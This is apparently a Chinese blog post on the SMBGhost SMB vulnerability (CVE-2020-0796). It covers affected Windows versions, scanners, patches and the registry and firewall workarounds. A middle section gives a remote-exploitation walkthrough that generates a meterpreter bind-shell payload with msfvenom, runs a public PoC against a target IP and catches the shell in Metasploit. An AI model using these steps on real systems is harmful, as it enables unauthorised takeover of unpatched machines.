SMB漏洞修复

通告背景

2020年3月11日,某国外安全公司发布了一个近期微软安全补丁包所涉及漏洞的综述,其中谈到了一个威胁等级被标记为Critical的SMB服务远程代码执行漏洞(CVE-2020-0796),攻击者可以利用此漏洞远程无需用户验证通过发送构造特殊的恶意数据导致在目标系统上执行恶意代码,从而获取机器的完全控制。此漏洞主要影响支持SMBv3.0的设备,理论上存在蠕虫化的可能性。

漏洞描述

漏洞存在于Windows的SMBv3.0(文件共享与打印服务)中,目前技术细节暂不公布,对于漏洞的利用无需用户验证,通过构造恶意请求即可触发导致任意代码执行,系统受到非授权控制。

影响面评估

此漏洞主要影响SMBv3.0协议,目前支持该协议的设备包括Windows 8、Windows 8.1、Windows 10、Windows Server 2012 和 Windows Server 2016,但是从微软的通告来看受影响目标主要是Win10系统,考虑到相关设备的数量级,潜在威胁较大。

受影响的Windows操作系统版本

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)


漏洞检测篇

git 脚本检测:

GitHub - ly4k/SMBGhost: Scanner for CVE-2020-0796 - SMBv3 RCE
检测返回的数据包中SMB压缩版本,这种检测方式打过补丁依然会误报。

python scanner.py <IP>

奇安信检测工具:

http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
适用于局域网批量检测,快速查找未打补丁的机器。

腾讯电脑管家 SMB 漏洞修复工具:

http://dlied6.qq.com/invc/QQPatch/QuickFix_SMB0796.exe
适用于个人用户检测,一键快速检测和修复。

漏洞利用篇

蓝屏 PoC

GitHub - eerykitty/CVE-2020-0796-PoC: PoC for triggering buffer overflow via CVE-2020-0796

使用两台虚拟机作为漏洞演示,一台win10 1903版本,一台是Kali Linux。

python3 CVE-2020-0796.py <IP>

本地提权 PoC

GitHub - danigargu/CVE-2020-0796: CVE-2020-0796 - Windows SMBv3 LPE exploit #SMBGhost
本地普通用户Bypass执行提权exp后弹出cmd窗口,成功获取system权限。

远程利用 PoC

GitHub - chompie1337/SMBGhost_RCE_PoC

漏洞演示过程:

1、使用msfvenom生成payload

msfvenom -p windows/x64/meterpreter/bind_tcp lport=1234 -f py -o evil.py

2、将evil.py 生成的code,替换到exploit.py的USER_PAYLOAD参数,并把参数buf改为USER_PAYLOAD。

root@kali:~# git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git

3、运行exploit.py

python3 exploit.py -ip 192.168.172.128

4、启动msf监听本地端口(PS:监听端口如果一直收不到shell,可重新运行一次。)

msf5 > use exploit/multi/handler

修复方法

1. 补丁

微软已经发布了此漏洞的安全补丁,访问如下链接:
Security Update Guide - Microsoft Security Response Center

方法一:给对应的系统打微软出的最新补丁

系统类型 介绍 下载链接
Windows 10 Version 1903 for 32-bit Systems KB4551762介绍 下载
Windows 10 Version 1903 for ARM64-based Systems KB4551762介绍 下载
Windows 10 Version 1903 for x64-based Systems KB4551762介绍 下载
Windows 10 Version 1909 for 32-bit Systems KB4551762介绍 下载
Windows 10 Version 1909 for ARM64-based Systems KB4551762介绍 下载
Windows 10 Version 1909 for x64-based Systems KB4551762介绍 下载
Windows Server, version 1903 (Server Core installation) KB4551762介绍 下载
Windows Server, version 1909 (Server Core installation) KB4551762介绍 下载

2. 临时解决方案

如果暂时无法安装补丁,微软当前建议按如下临时解决方案处理:

方法二: 禁用SMBv3 压缩
禁用SMB 3.0的压缩功能,是否使用需要结合自己业务进行判断。
使用以下PowerShell命令禁用压缩功能,以阻止未经身份验证的攻击者利用SMBv3 服务器的漏洞。
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force
用户可通过以下PowerShell命令撤销禁用压缩功能
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 0 -Force
注:利用以上命令进行更改后,无需重启即可生效;该方法仅可用来防护针对SMB服务器(SMB SERVER)的攻击,无法对SMB客户端(SMB Client)进行防护。

方法三:设置防火墙策略关闭相关端口
SMB的TCP 445端口
NetBIOS名称解析的UDP 137端口
NetBIOS数据图服务的UDP 138端口
NetBIOS会话服务的TCP 139端口

方法四:通过 IP 安全策略屏蔽危险端口, bat 执行添加防火墙策略,关闭危险服务
您浏览的页面不存在,请检查页面地址是否正确!

修复

微软目前给出变通方法:禁用SMBv3的压缩功能或在防火墙禁止445端口

PowerShell禁用SMBv3压缩功能:

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force

PowerShell重新启用SMBv3压缩功能:

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 0 -Force

相关推荐
萨格拉斯救世主12 分钟前
戴尔R930服务器增加 Intel X710-DA2双万兆光口含模块
运维·服务器
无所谓จุ๊บ13 分钟前
树莓派开发相关知识十 -小试服务器
服务器·网络·树莓派
Jtti15 分钟前
Windows系统服务器怎么设置远程连接?详细步骤
运维·服务器·windows
道法自然040221 分钟前
Ethernet 系列(8)-- 基础学习::ARP
网络·学习·智能路由器
yeyuningzi29 分钟前
Debian 12环境里部署nginx步骤记录
linux·运维·服务器
小奥超人37 分钟前
PPT文件设置了修改权限,如何取消权?
windows·经验分享·microsoft·ppt·办公技巧
EasyCVR1 小时前
萤石设备视频接入平台EasyCVR多品牌摄像机视频平台海康ehome平台(ISUP)接入EasyCVR不在线如何排查?
运维·服务器·网络·人工智能·ffmpeg·音视频
明月看潮生2 小时前
青少年编程与数学 02-003 Go语言网络编程 15课题、Go语言URL编程
开发语言·网络·青少年编程·golang·编程与数学
龙哥说跨境3 小时前
如何利用指纹浏览器爬虫绕过Cloudflare的防护?
服务器·网络·python·网络爬虫
懒大王就是我3 小时前
C语言网络编程 -- TCP/iP协议
c语言·网络·tcp/ip